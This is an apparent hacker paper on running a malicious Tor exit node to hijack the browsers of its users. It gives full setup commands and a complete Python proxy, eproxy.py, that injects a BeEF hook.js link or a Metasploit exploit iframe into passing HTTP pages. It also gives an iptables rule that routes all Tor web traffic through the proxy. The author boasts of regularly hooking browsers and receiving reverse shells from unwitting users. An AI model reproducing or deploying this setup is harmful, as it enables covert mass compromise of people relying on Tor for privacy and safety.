Description: Jackin' TOR users via evil proxies and the BeEF framework. Author: evell [@] recursive-descent.net Homepage: http://recursive-descent.net TXT Version: http://recursive-descent.net/hot_beef_injection.txt Section: Papers |=--------------------=[ jackin TOR users via evil proxies ]=-----------------=| |=-------------------------=[ and the BeEF framework. ]=----------------------=| |=----------------------------------------------------------------------------=| |=----------------------------------------------------------------------------=| ----[ Introduction While playing with sslstrip[1] I started thinking about what else I could do with the idea of it, since the method sslstrip uses is basically dead now. What Moxie[2] did was to set up a TOR exit node, sniff all the http traffic going through, proxing it to sslsniff, and when sslsniff saw a https link within a http page it would rewrite the link to http://. I set up a TOR exit node and started sniffing all the exit traffic, noticing that http traffic was about ninety percent of it. Initially I changed Moxie's sslstrip.py and started re-writing urls, but then thought about using it with the BeEF[3] framework and/or Metasploit[4]. I ended up with: [*] TOR exit node(s), with a reduced policy. [*] Wrote a basic http proxy to inject javascript links, iframes, etc. [*] Used iptables to pipe all the TOR web traffic to my evil proxy. This turns out to work incredibly well. I averaged getting a new box hooked about every thirty minutes. Surprisingly, Metasploit browser modules also worked. I assumed TOR users would have been more security conscious... Using Metasploit I was getting a reverse shell back to me every couple of hours or so at _minimum_. For those of you that have a problem with this, there is a great Youtube video that should clear everything up [5]. I was also going to write a patch into TOR that would take a list of safe urls that are generated per client (so they could not be string matched) and randomly, while you're browsing the tubes, would grab the page via both TOR and without and diff them, reporting if there was a difference. I didn't, but you can ;) ----[ The Setup These instructions are going to be for when you have a Debain based Linux box with a public ip. However, I am sure you can adapt them to whatever. Make sure to use a throw away box you can rm-rf or at least dd when you are done. The setup is extremely simple and you can have the whole thing running in about thirty minutes. The steps basically amount to: 1) Set up your TOR exit node, wait about ten minutes and watch the output tcpdump -xxXX -v -s 1500 -l port 80. 2) Once you have traffic tflowing, next install a few python requirements and run the evil proxy. 3) iptables rule to pipe all the TOR web traffic to your evil proxy, watching hooks in BeEF and shells in Metasploit magically appear. I am just going to go through using BeEF links. To use Metaploit just setup whatever browser module you want to use, edit eproxy_config.py change PATTERN and EVILLINK to whatever the link is Metasploit gives you wrapped in a 0 size iframe or whatever. ----[ TOR Exit Node Don't install the packages in universe, they are usually old. The commands to run: root@debain# lsb_release -c Codename: natty root@debain# vi /etc/apt/sources.list At the bottom of the file add in: deb http://deb.torproject.org/torproject.org main where is your distribution name from the lsb_release output. Close and save the file. Import the TOR gpg keys: root@debain# gpg --keyserver keys.gnupg.net --recv 886DDD89 root@debain# gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - Update your packages: root@debain# apt-get update And install TOR: root@debain# apt-get install tor Edit the TOR config: root@debain# vi /etc/tor/torrc Uncomment ORPort, uncomment Nickname and change ididnteditheconfig to some random string, uncomment RelayBandwidthRate and RelayBandwidthBurst preferably increasing them so you get MOAR! traffic through you. Paste in the reduced exit policy at the bottom, which is: ExitPolicy accept *:20-23 # FTP, SSH, telnet ExitPolicy accept *:43 # WHOIS ExitPolicy accept *:53 # DNS ExitPolicy accept *:79-81 # finger, HTTP ExitPolicy accept *:88 # kerberos ExitPolicy accept *:110 # POP3 ExitPolicy accept *:143 # IMAP ExitPolicy accept *:194 # IRC ExitPolicy accept *:220 # IMAP3 ExitPolicy accept *:389 # LDAP ExitPolicy accept *:443 # HTTPS ExitPolicy accept *:464 # kpasswd ExitPolicy accept *:531 # IRC/AIM ExitPolicy accept *:543-544 # Kerberos ExitPolicy accept *:554 # RTSP ExitPolicy accept *:563 # NNTP over SSL ExitPolicy accept *:636 # LDAP over SSL ExitPolicy accept *:706 # SILC ExitPolicy accept *:749 # kerberos ExitPolicy accept *:873 # rsync ExitPolicy accept *:902-904 # VMware ExitPolicy accept *:981 # Remote HTTPS management for firewall ExitPolicy accept *:989-995 # FTP over SSL, Netnews Administra ExitPolicy accept *:1194 # OpenVPN ExitPolicy accept *:1220 # QT Server Admin ExitPolicy accept *:1293 # PKT-KRB-IPSec ExitPolicy accept *:1500 # VLSI License Manager ExitPolicy accept *:1533 # Sametime ExitPolicy accept *:1677 # GroupWise ExitPolicy accept *:1723 # PPTP ExitPolicy accept *:1755 # RTSP ExitPolicy accept *:1863 # MSNP ExitPolicy accept *:2082 # Infowave Mobility Server ExitPolicy accept *:2083 # Secure Radius Service (radsec) ExitPolicy accept *:2086-2087 # GNUnet, ELI ExitPolicy accept *:2095-2096 # NBX ExitPolicy accept *:2102-2104 # Zephyr ExitPolicy accept *:3128 # SQUID ExitPolicy accept *:3389 # MS WBT ExitPolicy accept *:3690 # SVN ExitPolicy accept *:4321 # RWHOIS ExitPolicy accept *:4643 # Virtuozzo ExitPolicy accept *:5050 # MMCC ExitPolicy accept *:5190 # ICQ ExitPolicy accept *:5222-5223 # XMPP, XMPP over SSL ExitPolicy accept *:5228 # Android Market ExitPolicy accept *:5900 # VNC ExitPolicy accept *:6660-6669 # IRC ExitPolicy accept *:6679 # IRC SSL ExitPolicy accept *:6697 # IRC SSL ExitPolicy accept *:8000 # iRDMI ExitPolicy accept *:8008 # HTTP alternate ExitPolicy accept *:8074 # Gadu-Gadu ExitPolicy accept *:8080 # HTTP Proxies ExitPolicy accept *:8087-8088 # Simplify Media SPP Protocol, Radan HTTP ExitPolicy accept *:8332-8333 # BitCoin ExitPolicy accept *:8443 # PCsync HTTPS ExitPolicy accept *:8888 # HTTP Proxies, NewsEDGE ExitPolicy accept *:9418 # git ExitPolicy accept *:9999 # distinct ExitPolicy accept *:10000 # Network Data Management Protocol ExitPolicy accept *:11371 # OpenPGP hkp (http keyserver protocol) ExitPolicy accept *:19294 # Google Voice TCP ExitPolicy accept *:19638 # Ensim control panel ExitPolicy reject *:* Close and save the file. Fully stop TOR and restart it. root@debain# /etc/init.d/tor stop root@debain# /etc/init.d/tor start Start sniffing and wait to see traffic coming from your :80 You can also go and check your status at [6] or any of the other sites set to monitor TOR exit nodes. More info on setting up TOR if there is a problem can be found at [7][8]. ----[ BeEF Setup /* Important * * BeEF MUST BE RUN ON A DIFFERENT BOX THEN THE TOR/PROXY BOX * */ These are just generic BeEF setup instructions, nothing to it. root@debain2# apt-get install curl git-core ruby subversion libssl-dev libsqlite3-dev root@debain2# cd /tmp root@debain2# bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer ) root@debain2# source /etc/profile.d/rvm.sh root@debain2# rvm install ruby-1.9.2-p290 root@debain2# svn checkout http://beef.googlecode.com/svn/trunk/ beef root@debain2# cd beef root@debain2# chmod 755 insteall root@debain2# ./install (Keep running the installer doing needed options) root@debain2# vi config.yaml (Change the port from 3000 to 3128) Start BeEF root@debain2# ruby beef In the output take note of the two links on your public ip: [ 3:47:21][+] running on network interface: X.X.X.X [ 3:47:21] | Hook URL: http://X.X.X.X:3128/hook.js [ 3:47:21] |_ UI URL: http://X.X.X.X:3128/ui/panel Login to BeEF http://X.X.X.X:3128/ui/panel, username beef, password beef. Once you tested it, Ctrl+C log back out, run screen and restart it. ----[ Evil Proxy Setup Write a simple python http proxy to be run on the same box that TOR is running on. root@debain# vi eproxy.py #!/usr/bin/python from twisted.web import http from twisted.internet import reactor, protocol from twisted.python import log import eproxy_config, zlib, gzip, StringIO, sys, re log.startLogging(open(eproxy_config.LOGFILE, 'w')) class ProxyClient(http.HTTPClient): def __init__(self, method, uri, postData, headers, originalRequest): self.method = method self.uri = uri self.postData = postData self.headers = headers self.originalRequest = originalRequest self.contentLength = None self.isCompressed = False self.isImageRequest = False def sendRequest(self): log.msg("Sending request: %s %s" % (self.method, self.uri)) self.sendCommand(self.method, self.uri) def sendHeaders(self): for key, values in self.headers: if key.lower() == 'connection': values = ['close'] elif key.lower() == 'keep-alive': next elif key.lower() == 'accept-encoding': values = ['deflate'] for value in values: self.sendHeader(key, value) self.endHeaders() def sendPostData(self): log.msg("Sending POST data") self.transport.write(self.postData) def connectionMade(self): log.msg("HTTP connection made") self.sendRequest() self.sendHeaders() if self.method == 'POST': self.sendPostData() def handleStatus(self, version, code, message): log.msg("Got server response: %s %s %s" % (version, code, message)) self.originalRequest.setResponseCode(int(code), message) def handleHeader(self, key, value): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): log.msg("Response is compressed...") self.isCompressed = True if key.lower() == 'content-length': self.contentLength = value else: self.originalRequest.responseHeaders.addRawHeader(key, value) def injectJavaScriptLink(self, data): if self.isImageRequest: return data evil_link = eproxy_config.EVILLINK line_pattern = eproxy_config.PATTERN match_found = False matches = re.finditer(line_pattern, data) m = None for m in matches: match_found = True pass if match_found: log.msg("\n[*] Adding host to injected clients list...\n") m.start() m.end() data = data[0:m.end()] + evil_link + data[m.end():] return data def handleResponse(self, data): data = self.originalRequest.processResponse(data) if (self.isCompressed): log.msg("Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() #log.msg("Read from server:\n" + data) data = self.injectJavaScriptLink(data) if self.contentLength != None: self.originalRequest.setHeader('Content-Length', len(data)) self.originalRequest.write(data) self.originalRequest.finish() self.transport.loseConnection() class ProxyClientFactory(protocol.ClientFactory): def __init__(self, method, uri, postData, headers, originalRequest): self.protocol = ProxyClient self.method = method self.uri = uri self.postData = postData self.headers = headers self.originalRequest = originalRequest def buildProtocol(self, addr): return self.protocol(self.method, self.uri, self.postData, self.headers, self.originalRequest) def clientConnectionFailed(self, connector, reason): log.err("Server connection failed: %s" % reason) self.originalRequest.setResponseCode(504) self.originalRequest.finish() class ProxyRequest(http.Request): def __init__(self, channel, queued, reactor=reactor): http.Request.__init__(self, channel, queued) self.reactor = reactor def process(self): host = self.getHeader('host') log.msg("host: %s\n" % host) if not host: log.err("No host header given") self.setResponseCode(400) self.finish() return if host == 'vps6.vpnzz.com': self.setResponseCode(400) self.finish() return port = 80 if ':' in host: host, port = host.split(':') port = int(port) self.setHost(host, port) self.content.seek(0, 0) postData = self.content.read() factory = ProxyClientFactory(self.method, self.uri, postData, self.requestHeaders.getAllRawHeaders(), self) self.reactor.connectTCP(host, port, factory) def processResponse(self, data): return data class TransparentProxy(http.HTTPChannel): requestFactory = ProxyRequest class ProxyFactory(http.HTTPFactory): protocol = TransparentProxy reactor.listenTCP(8888, ProxyFactory()) reactor.run() :wq root@debain# vi eproxy_config.py LOGFILE = 'eproxy.log' EVILLINK = '' PATTERN = '' :wq Edit eproxy_config.py and change the EVILLINK to the hook.js one you got from BeEF eg. http://X.X.X.X:3128/hook.js root@debain# chmod 755 eproxy.py root@debain# ./eproxy.py root@debain# tail -f eproxy.log Now we have the evil proxy running on your box, set your proxy in your browser to the box you're running eproxy.py on port 8888. Browse a http page, view the source and make sure after the last '' tag that you see the line of: Stop eproxy.py, run screen and start ./eproxy.py again. You should still have BeEF running in the screen session from earlier, so go and test the setup. If you clear your cache, set your proxy back to your evil proxy and browse to a page you will get an injected page and you should see yourself popup in BeEF. If not go back and see what you did wrong. ----[ GOGOGO At this point your TOR exit node is running, and web traffic is flowing through it. Your evil proxy (eproxy.py) is running and, when you browse to it, it injects the EVILLINK. On another server you have BeEF running, which you verified works by going through your proxy manually. The only thing left to do is to take all the TOR web traffic and send it to your proxy. First get the id of the user who is running TOR, which if you followed these directions, will be 109 or debain-tor. root@debain# ps waux | grep tor | grep -v grep | cut -d" " -f1 109 Now we are going to tell iptables to grab any traffic coming from that user which will only be TOR traffic and send that to our proxy. root@debain# iptables -t nat -I OUTPUT -p tcp -m owner --uid-owner 109 --dport 80 -j DNAT --to-destination 127.0.0.1:8888 Login to your BeEF admin ui and you should slowly start seeing hooked browsers. Note that they will all have your proxies ip address, obviously, but you will be able to identify them by the domain that was hooked. ----[ Fini [1] http://www.thoughtcrime.org/software/sslstrip/ [2] http://www.securitytube.net/video/157 [3] http://www.bindshell.net/tools/beef/ [4] http://www.metasploit.com/ [5] http://www.youtube.com/watch?v=DksSPZTZES0 [6] http://torstatus.blutmagie.de/index.php?SR=FBadExit&SO=Desc [7] https://www.torproject.org/docs/debian [8] https://trac.torproject.org/projects/tor/wiki/doc/ReducedExitPolicy